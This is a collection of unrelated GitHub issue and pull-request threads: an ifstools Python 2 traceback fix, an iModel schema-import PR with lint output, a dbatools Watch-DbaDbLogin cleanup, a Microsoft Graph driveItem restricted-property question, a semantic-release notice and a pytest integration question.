File "ifstools.py", line 91, in _parse_manifest
self.tree = GenericFolder.from_xml(self, self.manifest.xml_doc)
File "C:\Users\caman.DESKTOP-TQO4F2G\ifstools\handlers\GenericFolder.py", line 32, in from_xml
folders[filename] = handler.from_xml(ifs, child, filename)
File "C:\Users\caman.DESKTOP-TQO4F2G\ifstools\handlers\MD5Folder.py", line 23, in from_xml
self = super().from_xml(ifs, element, name)
TypeError: super() takes at least 1 argument (0 given)

Seems I never tested this with python 2 - just fixed, redownload and try again

Works awesome now, I owe you bigtime. Thanks for your time!

Awesome! Keep an eye out for speed improvements


Samw/allow schema import over changes

Need the ability to import new schemas and to update existing schemas even if the briefcase contains local, un-pushed changes.

><EMAIL_ADDRESS>buildAndLint
> npm run -s build && npm run -s lint

D:\vsts_a\10\bbsrc\imodel-native\iModelJsNodeAddon\api_package\ts\src\test\importSchema.test.ts(9,26): error sort-imports : Member 'Logger' of the import declaration should be sorted alphabetically.
D:\vsts_a\10\bbsrc\imodel-native\iModelJsNodeAddon\api_package\ts\src\test\importSchema.test.ts(13,24): error sort-imports : Member 'clearRegistry' of the import declaration should be sorted alphabetically.
D:\vsts_a\10\bbsrc\imodel-native\iModelJsNodeAddon\api_package\ts\src\test\importSchema.test.ts(111,28): error @typescript-eslint/dot-notation : ["property1"] is better written in dot notation.
D:\vsts_a\10\bbsrc\imodel-native\iModelJsNodeAddon\api_package\ts\src\test\importSchema.test.ts(134,28): error @typescript-eslint/dot-notation : ["property1"] is better written in dot notation.
D:\vsts_a\10\bbsrc\imodel-native\iModelJsNodeAddon\api_package\ts\src\test\importSchema.test.ts(140,28): error @typescript-eslint/dot-notation : ["property1"] is better written in dot notation.
D:\vsts_a\10\bbsrc\imodel-native\iModelJsNodeAddon\api_package\ts\src\test\importSchema.test.ts(141,28): error @typescript-eslint/dot-notation : ["property2"] is better written in dot notation.
D:\vsts_a\10\bbsrc\imodel-native\iModelJsNodeAddon\api_package\ts\src\test\loadMetaData.ts(11,41): error @typescript-eslint/member-delimiter-style : Unexpected separator (;).
D:\vsts_a\10\bbsrc\imodel-native\iModelJsNodeAddon\api_package\ts\src\test\loadMetaData.ts(45,59): error @typescript-eslint/member-delimiter-style : Unexpected separator (;).

This can only work after @khanaffan  finishes his change to use the "schema sync cloudsqlite db". Right?

@khanaffan will my PR cause schema change merging problems?

@khanaffan will my PR cause schema change merging problems?

no.

@khanaffan will my PR cause schema change merging problems?

no.

Until @khanaffan's PR to synchronize schema changes finishes you must hold the schema lock on the entire iModel to make schema changes or you will cause merging problems. That makes this useless for LiveSync until he finishes it and we get the blob container service working.

Live sync can't import schemas until the no-local-changes restriction is removed. This is blocking live sync progress - it's difficult even to hack a demo together. If the schema sync db PR is going to take a while, I would prefer to complete my PR just to get past the no-local-changes restrictions. If that requires an exclusive lock on the iModel, I could implement that as a short-term work-around in live sync.

@swwilson-bsi  i have pulled this branch into https://github.com/iTwin/imodel-native/pull/148

@khanaffan one more change to fix tests: https://github.com/iTwin/imodel-native/pull/313/commits/0cdf303d26037451d5f07835cfb80815f521990d

@swwilson-bsi  you can close this PR my native PR is already merged which had your change a month back. https://github.com/iTwin/imodel-native/pull/148

@swwilson-bsi This PR has no changes. (Files changed - 0). I already pulled this branch into another PR related to schema sync.


Adjust Watch-DbaDbLogin

Type of Change

[ ] Bug fix (non-breaking change, fixes #)
[x] New feature (non-breaking change, adds functionality)
[ ] Breaking change (effects multiple commands or functionality)
[ ] Ran manual Pester test and has passed (`.\tests\manual.pester.ps1)
[ ] Adding code coverage to existing functionality
[ ] Pester test is included
[ ] Nunit test is included
[x] Documentation
[ ] Build system

Purpose

Cleanup and standardize code to use commands available in module, among other things

removed default Database name (this needs to be specified)
removed SqlCmsGroups from help as it didn't exist in the code
Updated default table name to be more descriptive on it being dbatools related, updated help as well on this
changed Database parameter to a single object
Updated message system
Adjusted validation of SqlCms and ServersFromFile parameter using Test-Bound
Replaced datatabe object  and bulkcopy object with Out-DbaDatabase and Write-DbaDataTable
Changed enumprocess() to DMV, can expand data in the future now if we need to.
Changed code for CMS pull to Get-DbaRegisteredServer
Removed comment block code in end block
Cleaned up logic where it will not try to run code if CMS or file is not found.

Approach

Looked at adding more columns but only ended up adding a few extra to show pertinent information and prevent the need of having the table created first. So on the first run, this command will now create the table with the needed column names.
Commands to test

Screenshots

The previous version would continue running code if CMS or file didn't exist, this has been fixed

Captured data:

Learning
EnumProcess() runs DMVs that do not exist in 2000 so added -MinimumVersion 9.
One additional tidbit discovered by tracing the EnumProcess() method that the query uses the is_user_process column found in sys.dm_exec_sessions but actually reverses the meaning of the column. Default this will show a 1 if the session is a user session or 0 (zero) if system. The method calls it in this manner: CAST(~s.is_user_process AS bit) AS [IsSystem] which changes that to return 0 (zero) when it is a user session and a 1 if is not.

Added test and adjusted command to also include the instance information, we were not including that in the table.

@potatoqualitee that is an issue with Appveyor because this test runs fine against my 2008 and 2016 instance (see screenshot provided in previous comment). I can just remove the test if you'd like?


Get a driveItem resource restricted property

We've had some problems trying to download files with the following property
"restricted": {
"decision": "Restricted",
"restrictionType": "OwnerOnly"
},

I can't seem to find any documentation on this property unless I have missed something. When trying to download the file with a generated shared link we get the following
The sharing link no longer exists, or you do not have permission to access it
When using the path, we get 404 not found.
We are using application token with Sites Full Control. Can you help?
Using csom OpenBinaryStream works without any issue, but does have limitations around size of the files
Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8cae3149-c915-eee0-29da-5f5d515c3019
Version Independent ID: 334d5d8f-79ec-6063-a026-c09a2f764b9a
Content: driveItem resource type - Microsoft Graph v1.0
Content Source: api-reference/v1.0/resources/driveitem.md
Product: sharepoint
Technology: microsoft-graph
GitHub Login: @JeremyKelley
Microsoft Alias: MSGraphDocsVteam

As part of a repository clean up effort we are closing older issues. If this issue remains, please: open a new issue, reference this issue, and provide any additional details that may help in resolution. Thank you for your understanding as we work to improve our responsiveness.


chore(release) if we try to sign a package but fail we should fail

sample output we'll see in Jenkins going forward

:tada: This PR is included in version 4.10.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


How to integrate with e.g. pytest

Great idea! I would love to integrate this with pytest. Any idea how?

I think all you need to do is create a plugin that just calls add_hook()? Hopefully those two lines are all that are required.

If you added a hook please paste it ,here others may need it as well.